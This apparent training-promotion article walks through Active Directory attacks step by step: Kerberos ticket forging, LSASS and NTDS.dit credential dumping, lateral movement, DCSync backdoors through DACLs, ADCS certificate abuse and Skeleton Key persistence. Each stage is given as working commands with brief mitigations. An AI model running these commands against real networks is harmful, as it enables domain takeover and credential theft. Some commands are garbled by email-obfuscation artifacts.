Master Active Directory Penetration Testing: From Kerberos Abuse to Diamond Tickets – Your Ultimate Training Guide + Video

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Introduction:

Active Directory (AD) serves as the authentication and authorization backbone for most enterprise networks, making it a prime target for attackers. Mastering AD penetration testing requires understanding core protocols like Kerberos, LDAP, and SMB, as well as advanced exploitation techniques ranging from credential dumping to privilege escalation and lateral movement. This article extracts key technical content from an exclusive online training program, providing hands-on commands, step‑by‑step guides, and tool configurations to help you simulate real‑world AD attacks and fortify defenses.

Learning Objectives:

  • Understand and exploit Kerberos vulnerabilities (Golden/Silver/Diamond/Sapphire tickets) to forge arbitrary credentials.
  • Execute advanced credential dumping attacks using Mimikatz, secretsdump, and LSASS memory manipulation.
  • Apply post‑enumeration and privilege escalation techniques with BloodHound, PowerView, and ADCS abuse.

You Should Know:

  1. Abusing Kerberos: Golden, Silver, Diamond & Sapphire Tickets

Step‑by‑step guide explaining what this does and how to use it:
Kerberos ticket attacks allow an attacker with domain admin or service account access to forge tickets for persistent or stealthy access. A Golden Ticket uses the KRBTGT hash to create a TGT for any user; a Silver Ticket targets a specific service (e.g., CIFS). Diamond and Sapphire tickets modify the Kerberos encryption and PAC to evade detection.

Linux (using impacket):

 Dump KRBTGT hash from a DC (requires admin privileges)
impacket-secretsdump -just-dc-ntlm 'domain/user:password@DC_IP'

Create Golden Ticket
impacket-ticketer -nthash <krbtgt_hash> -domain-sid <domain_sid> -domain <domain> -user-id 500 -user Administrator golden.kirbi

Pass the ticket and access DC
export KRB5CCNAME=/path/to/golden.kirbi
impacket-psexec -k -no-pass -target-ip DC_IP domain/Administrator@DC_IP

Windows (Mimikatz):

 Elevate to SYSTEM and extract KRBTGT
mimikatz.exe "privilege::debug" "lsadump::dcsync /user:krbtgt" "exit"

Forge Golden Ticket
mimikatz.exe "kerberos::golden /user:fakeadmin /domain:contoso.com /sid:S-1-5-21-... /krbtgt:<hash> /id:500 /ptt" "exit"

Mitigation: Regularly rotate KRBTGT password twice, enable AES Kerberos encryption, monitor for abnormal TGT lifetimes (default 10 hours).

2. Advanced Credential Dumping Attacks

Step‑by‑step guide explaining what this does and how to use it:
Credential dumping extracts NTLM hashes, Kerberos tickets, and plaintext passwords from LSASS process memory, SAM hive, or NTDS.dit. Modern EDRs detect classic Mimikatz, so we use living‑off‑the‑land (LotL) and indirect techniques.

Linux (impacket) – Dump NTDS.dit remotely:

 Using secretsdump with a compromised admin account
impacket-secretsdump -just-dc-ntlm 'contoso.com/administrator:Pass@[email protected]'

Shadow copy method (more stealthy)
impacket-smbexec 'contoso.com/admin:Pass@[email protected]' 'vssadmin create shadow /for=C:'
impacket-smbexec 'contoso.com/admin:Pass@[email protected]' 'copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit'

Windows – LSASS memory dump without Mimikatz:

 Using comsvcs.dll (built-in)
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump (Get-Process lsass).Id C:\temp\lsass.dmp full

Extract hashes offline with pypykatz (on attacker machine)
pypykatz lsa minidump lsass.dmp

Defense: Enable Credential Guard, limit local admin privileges, use LSA protection, and monitor for `comsvcs.dll` or `procdump` usage.

3. Privilege Escalation Techniques via BloodHound & PowerUp

Step‑by‑step guide explaining what this does and how to use it:
Privilege escalation in AD often relies on misconfigured ACLs, unquoted service paths, or vulnerable group memberships. BloodHound maps attack paths from a non‑privileged user to Domain Admin.

Collect data with SharpHound (Windows):

 Run from a compromised user context
.\SharpHound.exe -c All -d contoso.com --outputdirectory C:\temp\

Analyze with BloodHound (Linux):

 Start Neo4j and BloodHound
sudo neo4j console
bloodhound --no-sandbox

Import the .zip file and use queries:
 "Find Shortest Paths to Domain Admins"
 "Find Principals with DCSync Rights"

PowerUp (Windows) – Local privilege escalation checks:

Import-Module .\PowerUp.ps1
Invoke-AllChecks -Throttle 100 | Out-File -FilePath privesc.txt

Exploit unquoted service path
Find-ServiceUnquoted -Verbose
Write-ServiceBinary -ServiceName "VulnerableSvc" -Path "C:\Program.exe"

Mitigation: Regularly audit ACLs with `BloodHound` custom queries, enforce least privilege, and use `Sysmon` to detect SharpHound execution.

  1. Lateral Movement Strategies: PsExec, WinRM, WMI & DCOM

Step‑by‑step guide explaining what this does and how to use it:
Lateral movement spreads from a compromised host to others using legitimate administrative protocols. Each method leaves different forensic artifacts.

Using PsExec (Windows / impacket):

 Impacket PsExec (Linux)
impacket-psexec -hashes 'aad3b435b51404eeaad3b435b51404ee:ntlmhash' domain/user@target_ip

Native PsExec (Windows)
PsExec64.exe \target_ip -u domain\user -p password cmd.exe

WinRM (Windows Remote Management):

 Enable and connect (requires admin)
Enable-PSRemoting -Force
Enter-PSSession -ComputerName target_ip -Credential (Get-Credential)

Using evil-winrm (Linux)
evil-winrm -i target_ip -u user -p password -S (for HTTPS)

WMI for fileless execution:

wmic /node:"target_ip" /user:"domain\user" /password:"pass" process call create "cmd.exe /c calc.exe"

Detection: Look for `Event ID 4648` (logon with explicit credentials), `Event ID 4624` (network logon type 3 or 10), and network connections to port 5985/5986 (WinRM).

5. DACL Abuse: Backdooring AD Permissions

Step‑by‑step guide explaining what this does and how to use it:
Discretionary Access Control Lists (DACLs) control who can read or modify AD objects. Attackers add malicious ACEs (Access Control Entries) to grant themselves DCSync or ResetPassword rights.

Using PowerView (Windows):

Import-Module .\PowerView.ps1

Grant DCSync rights to a compromised user
Add-DomainObjectAcl -TargetIdentity "DC=contoso,DC=com" -PrincipalIdentity "attacker_user" -Rights DCSync

Verify the new ACE
Get-DomainObjectAcl -Identity "DC=contoso,DC=com" | ?{$_.SecurityIdentifier -eq (Convert-NameToSid attacker_user)}

Linux with bloodyAD:

 Install and grant DCSync
bloodyAD -d contoso.com -u user -p 'password' --host DC_IP add objectAce --objectSID 'S-1-5-...' --rights DCSync

Perform DCSync after backdoor
impacket-secretsdump -just-dc 'contoso.com/attacker_user:pass@DC_IP'

Audit: Use `Get-ADObjectAcl` (PowerShell) or BloodHound’s `Find-ACLAbuses` edge to detect anomalous ACEs.

6. ADCS Attacks: ESC1 to ESC8 Abusing PKI

Step‑by‑step guide explaining what this does and how to use it:
Active Directory Certificate Services (ADCS) misconfigurations allow attackers to request certificates for any user, enabling persistent authentication. Certipy automates enumeration and exploitation.

Enumeration with Certipy (Linux):

 Find vulnerable templates
certipy find -u [email protected] -p 'pass' -dc-ip DC_IP -bloodhound

ESC1 – Request certificate for Domain Admin using vulnerable template
certipy req -u [email protected] -p 'pass' -ca 'CONTOSO-CA' -target DC_IP -template 'VulnerableWebServer' -upn '[email protected]'

Using the certificate for authentication:

 Convert PFX to PEM and use for SMB/WinRM
certipy auth -pfx administrator.pfx -username administrator -domain contoso.com -dc-ip DC_IP

Get NT hash from certificate
certipy auth -pfx administrator.pfx -ntlm -dc-ip DC_IP

Mitigation: Disable client authentication for templates, enforce manager approval, configure `Extended Key Usage` properly, and monitor `Event ID 4886-4890` for certificate requests.

  1. Persistence Methods: Skeleton Key, AdminSDHolder, and SSP Injection

Step‑by‑step guide explaining what this works and how to use it:
After compromise, attackers plant backdoors that survive reboots and password changes. Skeleton Key injects a master password into LSASS; AdminSDHolder gives persistent ACL rights.

Skeleton Key (Mimikatz on DC):

 Load the driver (requires admin on DC)
mimikatz.exe "privilege::debug" "misc::skeleton" "exit"
 Now any user can authenticate with password "mimikatz"

AdminSDHolder backdoor (PowerView):

 Add full control for attacker user on AdminSDHolder
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=contoso,DC=com" -PrincipalIdentity attacker_user -Rights All

Propagate ACL to all protected groups (Domain Admins, etc.)
Invoke-ADSDPropagation -ShowProgress

Remove persistence: Restart DC for Skeleton Key; reset AdminSDHolder ACL via `dsacls` or ADSI Edit.

What Undercode Say:

  • Active Directory penetration testing is no longer optional—it is a core requirement for red teams and defenders alike, as over 90% of Fortune 500 companies rely on AD.
  • The techniques covered (Kerberos tickets, DACL abuse, ADCS) demonstrate that even well‑hardened environments often fail due to misconfigurations, not just missing patches.
  • Hands‑on practice with impacket, Mimikatz, and BloodHound is essential; however, defenders must equally master detection using Sysmon, PowerShell logging, and custom Sigma rules for each attack phase.
  • The shift toward cloud‑integrated AD (Azure AD / Entra ID) means traditional on‑prem attacks are evolving—hybrid identity hardening is the next frontier.

Prediction:

Within the next 18 months, we will see a surge in AI‑powered AD attack tools that automatically chain misconfigurations (e.g., BloodHound + LLM to generate exploitation scripts). Concurrently, Microsoft will enforce stricter Kerberos policies (like disabling RC4 and requiring FAST armoring) by default, rendering classic Golden Ticket attacks obsolete. Organizations that fail to adopt continuous AD security validation—through automated purple teaming and immutable backup strategies—will face catastrophic ransomware incidents leveraging ADCS and DACL backdoors. The training program highlighted above is a timely investment for any security professional aiming to stay ahead of these adversarial shifts.

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